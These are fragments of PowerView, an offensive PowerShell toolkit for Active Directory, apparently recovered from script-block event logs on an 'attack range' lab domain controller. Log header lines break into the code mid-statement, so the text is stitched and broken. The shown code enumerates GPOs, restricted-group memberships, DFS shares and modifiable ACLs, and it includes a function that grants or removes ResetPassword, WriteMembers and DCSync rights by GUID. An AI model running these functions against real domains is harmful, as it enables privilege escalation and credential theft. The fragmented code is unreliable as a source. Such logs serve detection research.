if ($PSBoundParameters['SearchBase'] -and ($SearchBase -Match '^GC://')) {
$GPO = Convert-LDAPProperty -Properties $_.Properties
try {
$GPODN = $GPO.distinguishedname
$GPODomain = $GPODN.SubString($GPODN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
$gpcfilesyspath = "\\$GPODomain\SysVol\$GPODomain\Policies\$($GPO.cn)"
$GPO | Add-Member Noteproperty 'gpcfilesyspath' $gpcfilesyspath
}
catch {
Write-Verbose "[Get-DomainGPO] Error calculating gpcfilesyspath for: $($GPO.distinguishedname)"
}
}
else {
$GPO = Convert-LDAPProperty -Properties $_.Properties
}
$GPO.PSObject.TypeNames.Insert(0, 'PowerView.GPO')
}
$GPO
}
if ($Results) {
try { $Results.dispose() }
catch {
Write-Verbose "[Get-DomainGPO] Error disposing of the Results object: $_"
}
}
$GPOSearcher.dispose()
}
}
}
}
function Get-DomainGPOLocalGroup {
<#
.SYNOPSIS
Returns all GPOs in a domain that modify local group memberships through 'Restricted Groups'
or Group Policy preferences. Also return their user membership mappings, if they exist.
Author: @harmj0y
License: BSD 3-Clause
Required Dependencies: Get-DomainGPO, Get-GptTmpl, Get-GroupsXML, ConvertTo-SID, ConvertFrom-SID
.DESCRIPTION
First enumerates all GPOs in the current/target domain using Get-DomainGPO with passed
arguments, and for each GPO checks if 'Restricted Groups' are set with GptTmpl.inf or
group membership is set through Group Policy Preferences groups.xml files. For any
GptTmpl.inf files found, the file is parsed with Get-GptTmpl and any 'Group Membership'
section data is processed if present. Any found Groups.xml files are parsed with
Get-GroupsXML and those memberships are returned as well.
.PARAMETER Identity
A display name (e.g. 'Test GPO'), DistinguishedName (e.g. 'CN={F260B76D-55C8-46C5-BEF1-9016DD98E272},CN=Policies,CN=System,DC=testlab,DC=local'),
GUID (e.g. '10ec320d-3111-4ef4-8faf-8f14f4adc789'), or GPO name (e.g. '{F260B76D-55C8-46C5-BEF1-9016DD98E272}'). Wildcards accepted.
.PARAMETER ResolveMembersToSIDs
Switch. Indicates that any member names should be resolved to their domain SIDs.
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER LDAPFilter
Specifies an LDAP query string that is used to filter Active Directory objects.
.PARAMETER SearchBase
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
Get-DomainGPOLocalGroup
Returns all local groups set by GPO along with their members and memberof.
.EXAMPLE
Get-DomainGPOLocalGroup -ResolveMembersToSIDs
Returns all local groups set by GPO along with their members and memberof,
and resolve any members to their domain SIDs.
.EXAMPLE
'{0847C615-6C4E-4D45-A064-6001040CC21C}' | Get-DomainGPOLocalGroup
Return any GPO-set groups for the GPO with the given name/GUID.
.EXAMPLE
Get-DomainGPOLocalGroup 'Desktops'
Return any GPO-set groups for the GPO with the given display name.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object ac7f965d-34de-40ad-9419-1215aebde7ed
4104132150x0111946Microsoft-Windows-PowerShell/Operationalwin-dc-tcontreras-attack-range-677.attackrange.local2948$target_list[2..($target_list.Length-1)])
$DFSshares += $xml.targets.ChildNodes | ForEach-Object {
try {
$Target = $_.InnerText
if ( $Target.Contains('\') ) {
$DFSroot = $Target.split('\')[3]
$ShareName = $Properties.'msdfs-linkpathv2'[0]
New-Object -TypeName PSObject -Property @{'Name'="$DFSroot$ShareName";'RemoteServerName'=$Target.split('\')[2]}
}
}
catch {
Write-Verbose "[Get-DomainDFSShare] Get-DomainDFSShareV2 error in parsing target : $_"
}
}
}
if ($Results) {
try { $Results.dispose() }
catch {
Write-Verbose "[Get-DomainDFSShare] Error disposing of the Results object: $_"
}
}
$DFSSearcher.dispose()
}
catch {
Write-Warning "[Get-DomainDFSShare] Get-DomainDFSShareV2 error : $_"
}
$DFSshares | Sort-Object -Unique -Property 'RemoteServerName'
}
}
}
PROCESS {
$DFSshares = @()
if ($PSBoundParameters['Domain']) {
ForEach ($TargetDomain in $Domain) {
$SearcherArguments['Domain'] = $TargetDomain
if ($Version -match 'all|1') {
$DFSshares += Get-DomainDFSShareV1 @SearcherArguments
}
if ($Version -match 'all|2') {
$DFSshares += Get-DomainDFSShareV2 @SearcherArguments
}
}
}
else {
if ($Version -match 'all|1') {
$DFSshares += Get-DomainDFSShareV1 @SearcherArguments
}
if ($Version -match 'all|2') {
$DFSshares += Get-DomainDFSShareV2 @SearcherArguments
}
}
$DFSshares | Sort-Object -Property ('RemoteServerName','Name') -Unique
}
}
########################################################
#
# GPO related functions.
#
########################################################
function Get-GptTmpl {
<#
.SYNOPSIS
Helper to parse a GptTmpl.inf policy file path into a hashtable.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Add-RemoteConnection, Remove-RemoteConnection, Get-IniContent
.DESCRIPTION
Parses a GptTmpl.inf into a custom hashtable using Get-IniContent. If a
GPO object is passed, GPOPATH\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf
is constructed and assumed to be the parse target. If -Credential is passed,
Add-RemoteConnection is used to mount \\TARGET\SYSVOL with the specified creds,
the files are parsed, and the connection is destroyed later with Remove-RemoteConnection.
.PARAMETER GptTmplPath
Specifies the GptTmpl.inf file path name to parse.
.PARAMETER OutputObject
Switch. Output a custom PSObject instead of a hashtable.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the remote system.
.EXAMPLE
Get-GptTmpl -GptTmplPath "\\dev.testlab.local\sysvol\dev.testlab.local\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf"
Parse the default domain policy .inf for dev.testlab.local
.EXAMPLE
Get-DomainGPO testing | Get-GptTmpl
Parse the GptTmpl.inf policy for the GPO with display name of 'testing'.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-GptTmpl -Credential $Cred -GptTmplPath "\\dev.testlab.local\sysvol\dev.testlab.local\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf"
Parse the default domain policy .inf for dev.testlab.local using alternate credentials.
.OUTPUTS
Hashtable
Ouputs a hashtable representing the parsed GptTmpl.inf file.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType([Hashtable])]
[CmdletBinding()]
Param (
[Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('gpcfilesyspath', 'Path')]
[String]
$GptTmplPath,
[Switch]
$OutputObject,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
$MappedPaths = @{}
}
PROCESS {
try {
if (($GptTmplPath -Match '\\\\.*\\.*') -and ($PSBoundParameters['Credential'])) {
$SysVolPath = "\\$((New-Object System.Uri($GptTmplPath)).Host)\SYSVOL"
if (-not $MappedPaths[$SysVolPath]) {
# map IPC$ to this computer if it's not already
Add-RemoteConnection -Path $SysVolPath -Credential $Credential
$MappedPaths[$SysVolPath] = $True
}
}
$TargetGptTmplPath = $GptTmplPath
if (-not $TargetGptTmplPath.EndsWith('.inf')) {
$TargetGptTmplPath += '\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf'
}
Write-Verbose "[Get-GptTmpl] Parsing GptTmplPath: $TargetGptTmplPath"
if ($PSBoundParameters['OutputObject']) {
$Contents = Get-IniContent -Path $TargetGptTmplPath -OutputObject -ErrorAction Stop
if ($Contents) {
$Contents | Add-Member Noteproperty 'Path' $TargetGptTmplPath
$Contents
}
}
else {
$Contents = Get-IniContent -Path $TargetGptTmplPath -ErrorAction Stop
if ($Contents) {
$Contents['Path'] = $TargetGptTmplPath
$Contents
}
}
}
catch {
Write-Verbose "[Get-GptTmpl] Error parsing $TargetGptTmplPath : $_"
}
}
END {
# remove the SYSVOL mappings
$MappedPaths.Keys | ForEach-Object { Remove-RemoteConnection -Path $_ }
}
}
function Get-GroupsXML {
<#
.SYNOPSIS
Helper to parse a groups.xml file path into a custom object.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Add-RemoteConnection, Remove-RemoteConnection, ConvertTo-SID
.DESCRIPTION
Parses a groups.xml into a custom object. If -Credential is passed,
Add-RemoteConnection is used to mount \\TARGET\SYSVOL with the specified creds,
the files are parsed, and the connection is destroyed later with Remove-RemoteConnection.
.PARAMETER GroupsXMLpath
Specifies the groups.xml file path name to parse.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the remote system.
.OUTPUTS
PowerView.GroupsXML
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.GroupsXML')]
[CmdletBinding()]
Param (
[Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('Path')]
[String]
$GroupsXMLPath,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
$MappedPaths = @{}
}
PROCESS {
try {
if (($GroupsXMLPath -Match '\\\\.*\\.*') -and ($PSBoundParameters['Credential'])) {
$SysVolPath = "\\$((New-Object System.Uri($GroupsXMLPath)).Host)\SYSVOL"
if (-not $MappedPaths[$SysVolPath]) {
# map IPC$ to this computer if it's not already
Add-RemoteConnection -Path $SysVolPath -Credential $Credential
$MappedPaths[$SysVolPath] = $True
}
}
[XML]$GroupsXMLcontent = Get-Content -Path $GroupsXMLPath -ErrorAction Stop
# process all group properties in the XML
$GroupsXMLcontent | Select-Xml "/Groups/Group" | Select-Object -ExpandProperty node | ForEach-Object {
$Groupname = $_.Properties.groupName
# extract the localgroup sid for memberof
$GroupSID = $_.Properties.groupSid
if (-not $GroupSID) {
if ($Groupname -match 'Administrators') {
$GroupSID = 'S-1-5-32-544'
}
elseif ($Groupname -match 'Remote Desktop') {
$GroupSID = 'S-1-5-32-555'
}
elseif ($Groupname -match 'Guests') {
$GroupSID = 'S-1-5-32-546'
}
else {
if ($PSBoundParameters['Credential']) {
$GroupSID = ConvertTo-SID -ObjectName $Groupname -Credential $Credential
}
else {
$GroupSID = ConvertTo-SID -ObjectName $Groupname
}
}
}
# extract out members added to this group
$Members = $_.Properties.members | Select-Object -ExpandProperty Member | Where-Object { $_.action -match 'ADD' } | ForEach-Object {
if ($_.sid) { $_.sid }
else { $_.name }
}
if ($Members) {
# extract out any/all filters...I hate you GPP
if ($_.filters) {
$Filters = $_.filters.GetEnumerator() | ForEach-Object {
New-Object -TypeName PSObject -Property @{'Type' = $_.LocalName;'Value' = $_.name}
}
}
else {
$Filters = $Null
}
if ($Members -isnot [System.Array]) { $Members = @($Members) }
$GroupsXML = New-Object PSObject
$GroupsXML | Add-Member Noteproperty 'GPOPath' $TargetGroupsXMLPath
$GroupsXML | Add-Member Noteproperty 'Filters' $Filters
$GroupsXML | Add-Member Noteproperty 'GroupName' $GroupName
$GroupsXML | Add-Member Noteproperty 'GroupSID' $GroupSID
$GroupsXML | Add-Member Noteproperty 'GroupMemberOf' $Null
$GroupsXML | Add-Member Noteproperty 'GroupMembers' $Members
$GroupsXML.PSObject.TypeNames.Insert(0, 'PowerView.GroupsXML')
$GroupsXML
}
}
}
catch {
Write-Verbose "[Get-GroupsXML] Error parsing $TargetGroupsXMLPath : $_"
}
}
END {
# remove the SYSVOL mappings
$MappedPaths.Keys | ForEach-Object { Remove-RemoteConnection -Path $_ }
}
}
function Get-DomainGPO {
<#
.SYNOPSIS
Return all GPOs or specific GPO objects in AD.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainSearcher, Get-DomainComputer, Get-DomainUser, Get-DomainOU, Get-NetComputerSiteName, Get-DomainSite, Get-DomainObject, Convert-LDAPProperty
.DESCRIPTION
Builds a directory searcher object using Get-DomainSearcher, builds a custom
LDAP filter based on targeting/filter parameters, and searches for all objects
matching the criteria. To only return specific properties, use
"-Properties samaccountname,usnchanged,...". By default, all GPO objects for
the current domain are returned. To enumerate all GPOs that are applied to
a particular machine, use -ComputerName X.
.PARAMETER Identity
A display name (e.g. 'Test GPO'), DistinguishedName (e.g. 'CN={F260B76D-55C8-46C5-BEF1-9016DD98E272},CN=Policies,CN=System,DC=testlab,DC=local'),
GUID (e.g. '10ec320d-3111-4ef4-8faf-8f14f4adc789'), or GPO name (e.g. '{F260B76D-55C8-46C5-BEF1-9016DD98E272}'). Wildcards accepted.
.PARAMETER ComputerIdentity
Return all GPO objects applied to a given computer identity (name, dnsname, DistinguishedName, etc.).
.PARAMETER UserIdentity
Return all GPO objects applied to a given user identity (name, SID, DistinguishedName, etc.).
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER LDAPFilter
Specifies an LDAP query string that is used to filter Active Directory objects.
.PARAMETER Properties
Specifies the properties of the output object to retrieve from the server.
.PARAMETER SearchBase
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER SecurityMasks
Specifies an option for examining security information of a directory object.
One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER FindOne
Only return one result object.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.PARAMETER Raw
Switch. Return raw results instead of translating the fields into a custom PSObject.
.EXAMPLE
Get-DomainGPO -Domain testlab.local
Return all GPOs for the testlab.local domain
.EXAMPLE
Get-DomainGPO -ComputerName windows1.testlab.local
Returns all GPOs applied windows1.testlab.local
.EXAMPLE
"{F260B76D-55C8-46C5-BEF1-9016DD98E272}","Test GPO" | Get-DomainGPO
Return the GPOs with the name of "{F260B76D-55C8-46C5-BEF1-9016DD98E272}" and the display
name of "Test GPO"
.EXAMPLE
Get-DomainGPO -LDAPFilter '(!primarygroupid=513)' -Properties samaccountname,lastlogon
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-DomainGPO -Credential $Cred
.OUTPUTS
PowerView.GPO
Custom PSObject with translated GPO property fields.
PowerView.GPO.Raw
The raw DirectoryServices.SearchResult object, if -Raw is enabled.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')]
[OutputType('PowerView.GPO')]
[OutputType('PowerView.GPO.Raw')]
[CmdletBinding(DefaultParameterSetName = 'None')]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('DistinguishedName', 'SamAccountName', 'Name')]
[String[]]
$Identity,
[Parameter(ParameterSetName = 'ComputerIdentity')]
[Alias('ComputerName')]
[ValidateNotNullOrEmpty()]
[String]
$ComputerIdentity,
[Parameter(ParameterSetName = 'UserIdentity')]
[Alias('UserName')]
[ValidateNotNullOrEmpty()]
[String]
$UserIdentity,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,
[ValidateNotNullOrEmpty()]
[String[]]
$Properties,
[ValidateNotNullOrEmpty()]
[Alias('ADSPac7f965d-34de-40ad-9419-1215aebde7ed
4104132150x0111937Microsoft-Windows-PowerShell/Operationalwin-dc-tcontreras-attack-range-677.attackrange.local2048that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.PARAMETER Rights
Rights to add for the principal, 'All', 'ResetPassword', 'WriteMembers', 'DCSync'.
Defaults to 'All'.
.PARAMETER RightsGUID
Manual GUID representing the right to add to the target.
.EXAMPLE
$UserSID = Get-DomainUser user | Select-Object -ExpandProperty objectsid
Get-DomainObjectACL user2 -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $UserSID}
[no results returned]
Add-DomainObjectAcl -TargetIdentity user2 -PrincipalIdentity user -Rights ResetPassword
Get-DomainObjectACL user2 -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $UserSID }
AceQualifier : AccessAllowed
ObjectDN : CN=user2,CN=Users,DC=testlab,DC=local
ActiveDirectoryRights : ExtendedRight
ObjectAceType : User-Force-Change-Password
ObjectSID : S-1-5-21-883232822-274137685-4173207997-2105
InheritanceFlags : None
BinaryLength : 56
AceType : AccessAllowedObject
ObjectAceFlags : ObjectAceTypePresent
IsCallback : False
PropagationFlags : None
SecurityIdentifier : S-1-5-21-883232822-274137685-4173207997-2104
AccessMask : 256
AuditFlags : None
IsInherited : False
AceFlags : None
InheritedObjectAceType : All
OpaqueLength : 0
Remove-DomainObjectAcl -TargetIdentity user2 -PrincipalIdentity user -Rights ResetPassword
Get-DomainObjectACL user2 -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $UserSID}
[no results returned]
.LINK
https://social.technet.microsoft.com/Forums/windowsserver/en-US/df3bfd33-c070-4a9c-be98-c4da6e591a0a/forum-faq-using-powershell-to-assign-permissions-on-active-directory-objects?forum=winserverpowershell
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[CmdletBinding()]
Param (
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('DistinguishedName', 'SamAccountName', 'Name')]
[String[]]
$TargetIdentity,
[ValidateNotNullOrEmpty()]
[String]
$TargetDomain,
[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$TargetLDAPFilter,
[ValidateNotNullOrEmpty()]
[String]
$TargetSearchBase,
[Parameter(Mandatory = $True)]
[ValidateNotNullOrEmpty()]
[String[]]
$PrincipalIdentity,
[ValidateNotNullOrEmpty()]
[String]
$PrincipalDomain,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Switch]
$Tombstone,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
[ValidateSet('All', 'ResetPassword', 'WriteMembers', 'DCSync')]
[String]
$Rights = 'All',
[Guid]
$RightsGUID
)
BEGIN {
$TargetSearcherArguments = @{
'Properties' = 'distinguishedname'
'Raw' = $True
}
if ($PSBoundParameters['TargetDomain']) { $TargetSearcherArguments['Domain'] = $TargetDomain }
if ($PSBoundParameters['TargetLDAPFilter']) { $TargetSearcherArguments['LDAPFilter'] = $TargetLDAPFilter }
if ($PSBoundParameters['TargetSearchBase']) { $TargetSearcherArguments['SearchBase'] = $TargetSearchBase }
if ($PSBoundParameters['Server']) { $TargetSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $TargetSearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $TargetSearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $TargetSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $TargetSearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $TargetSearcherArguments['Credential'] = $Credential }
$PrincipalSearcherArguments = @{
'Identity' = $PrincipalIdentity
'Properties' = 'distinguishedname,objectsid'
}
if ($PSBoundParameters['PrincipalDomain']) { $PrincipalSearcherArguments['Domain'] = $PrincipalDomain }
if ($PSBoundParameters['Server']) { $PrincipalSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $PrincipalSearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $PrincipalSearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $PrincipalSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $PrincipalSearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $PrincipalSearcherArguments['Credential'] = $Credential }
$Principals = Get-DomainObject @PrincipalSearcherArguments
if (-not $Principals) {
throw "Unable to resolve principal: $PrincipalIdentity"
}
}
PROCESS {
$TargetSearcherArguments['Identity'] = $TargetIdentity
$Targets = Get-DomainObject @TargetSearcherArguments
ForEach ($TargetObject in $Targets) {
$InheritanceType = [System.DirectoryServices.ActiveDirectorySecurityInheritance] 'None'
$ControlType = [System.Security.AccessControl.AccessControlType] 'Allow'
$ACEs = @()
if ($RightsGUID) {
$GUIDs = @($RightsGUID)
}
else {
$GUIDs = Switch ($Rights) {
# ResetPassword doesn't need to know the user's current password
'ResetPassword' { '00299570-246d-11d0-a768-00aa006e0529' }
# allows for the modification of group membership
'WriteMembers' { 'bf9679c0-0de6-11d0-a285-00aa003049e2' }
# 'DS-Replication-Get-Changes' = 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2
# 'DS-Replication-Get-Changes-All' = 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2
# 'DS-Replication-Get-Changes-In-Filtered-Set' = 89e95b76-444d-4c62-991a-0facbeda640c
# when applied to a domain's ACL, allows for the use of DCSync
'DCSync' { '1131f6aa-9c07-11d1-f79f-00c04fc2dcd2', '1131f6ad-9c07-11d1-f79f-00c04fc2dcd2', '89e95b76-444d-4c62-991a-0facbeda640c'}
}
}
ForEach ($PrincipalObject in $Principals) {
Write-Verbose "[Remove-DomainObjectAcl] Removing principal $($PrincipalObject.distinguishedname) '$Rights' from $($TargetObject.Properties.distinguishedname)"
try {
$Identity = [System.Security.Principal.IdentityReference] ([System.Security.Principal.SecurityIdentifier]$PrincipalObject.objectsid)
if ($GUIDs) {
ForEach ($GUID in $GUIDs) {
$NewGUID = New-Object Guid $GUID
$ADRights = [System.DirectoryServices.ActiveDirectoryRights] 'ExtendedRight'
$ACEs += New-Object System.DirectoryServices.ActiveDirectoryAccessRule $Identity, $ADRights, $ControlType, $NewGUID, $InheritanceType
}
}
else {
# deault to GenericAll rights
$ADRights = [System.DirectoryServices.ActiveDirectoryRights] 'GenericAll'
$ACEs += New-Object System.DirectoryServices.ActiveDirectoryAccessRule $Identity, $ADRights, $ControlType, $InheritanceType
}
# remove all the specified ACEs from the specified object directory entry
ForEach ($ACE in $ACEs) {
Write-Verbose "[Remove-DomainObjectAcl] Granting principal $($PrincipalObject.distinguishedname) rights GUID '$($ACE.ObjectType)' on $($TargetObject.Properties.distinguishedname)"
$TargetEntry = $TargetObject.GetDirectoryEntry()
$TargetEntry.PsBase.Options.SecurityMasks = 'Dacl'
$TargetEntry.PsBase.ObjectSecurity.RemoveAccessRule($ACE)
$TargetEntry.PsBase.CommitChanges()
}
}
catch {
Write-Verbose "[Remove-DomainObjectAcl] Error removing principal $($PrincipalObject.distinguishedname) '$Rights' from $($TargetObject.Properties.distinguishedname) : $_"
}
}
}
}
}
function Find-InterestingDomainAcl {
<#
.SYNOPSIS
Finds object ACLs in the current (or specified) domain with modification
rights set to non-built in objects.
Thanks Sean Metcalf (@pyrotek3) for the idea and guidance.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainObjectAcl, Get-DomainObject, Convert-ADName
.DESCRIPTION
This function enumerates the ACLs for every object in the domain with Get-DomainObjectAcl,
and for each returned ACE entry it checks if principal security identifier
is *-1000 (meaning the account is not built in), and also checks if the rights for
the ACE mean the object can be modified by the principal. If these conditions are met,
then the security identifier SID is translated, the domain object is retrieved, and
additional IdentityReference* information is appended to the output object.
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER ResolveGUIDs
Switch. Resolve GUIDs to their display names.
.PARAMETER LDAPFilter
Specifies an LDAP query string that is used to filter Active Directory objects.
.PARAMETER SearchBase
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
Find-InterestingDomainAcl
Finds interesting object ACLS in the current domain.
.EXAMPLE
Find-InterestingDomainAcl -Domain dev.testlab.local -ResolveGUIDs
Finds interesting object ACLS in the ev.testlab.local domain and
resolves rights GUIDs to display names.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Find-InterestingDomainAcl -Credential $Cred -ResolveGUIDs
.OUTPUTS
PowerView.ACL
Custom PSObject with ACL entries.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.ACL')]
[CmdletBinding()]
Param (
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('DomainName', 'Name')]
[String]
$Domain,
[Switch]
$ResolveGUIDs,
[String]
[ValidateSet('All', 'ResetPassword', 'WriteMembers')]
$RightsFilter,
[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,
[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Switch]
$Tombstone,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
$ACLArguments = @{}
if ($PSBoundParameters['ResolveGUIDs']) { $ACLArguments['ResolveGUIDs'] = $ResolveGUIDs }
if ($PSBoundParameters['RightsFilter']) { $ACLArguments['RightsFilter'] = $RightsFilter }
if ($PSBoundParameters['LDAPFilter']) { $ACLArguments['LDAPFilter'] = $LDAPFilter }
if ($PSBoundParameters['SearchBase']) { $ACLArguments['SearchBase'] = $SearchBase }
if ($PSBoundParameters['Server']) { $ACLArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $ACLArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $ACLArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $ACLArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $ACLArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $ACLArguments['Credential'] = $Credential }
$ObjectSearcherArguments = @{
'Properties' = 'samaccountname,objectclass'
'Raw' = $True
}
if ($PSBoundParameters['Server']) { $ObjectSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $ObjectSearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $ObjectSearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $ObjectSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $ObjectSearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $ObjectSearcherArguments['Credential'] = $Credential }
$ADNameArguments = @{}
if ($PSBoundParameters['Server']) { $ADNameArguments['Server'] = $Server }
if ($PSBoundParameters['Credential']) { $ADNameArguments['Credential'] = $Credential }
# ongoing list of built-up SIDs
$ResolvedSIDs = @{}
}
PROCESS {
if ($PSBoundParameters['Domain']) {
$ACLArguments['Domain'] = $Domain
$ADNameArguments['Domain'] = $Domain
}
Get-DomainObjectAcl @ACLArguments | ForEach-Object {
if ( ($_.ActiveDirectoryRights -match 'GenericAll|Write|Create|Delete') -or (($_.ActiveDirectoryRights -match 'ExtendedRight') -and ($_.AceQualifier -match 'Allow'))) {
# only process SIDs > 1000
if ($_.SecurityIdentifier.Value -match '^S-1-5-.*-[1-9]\d{3,}$') {
if ($ResolvedSIDs[$_.SecurityIdentifier.Value]) {
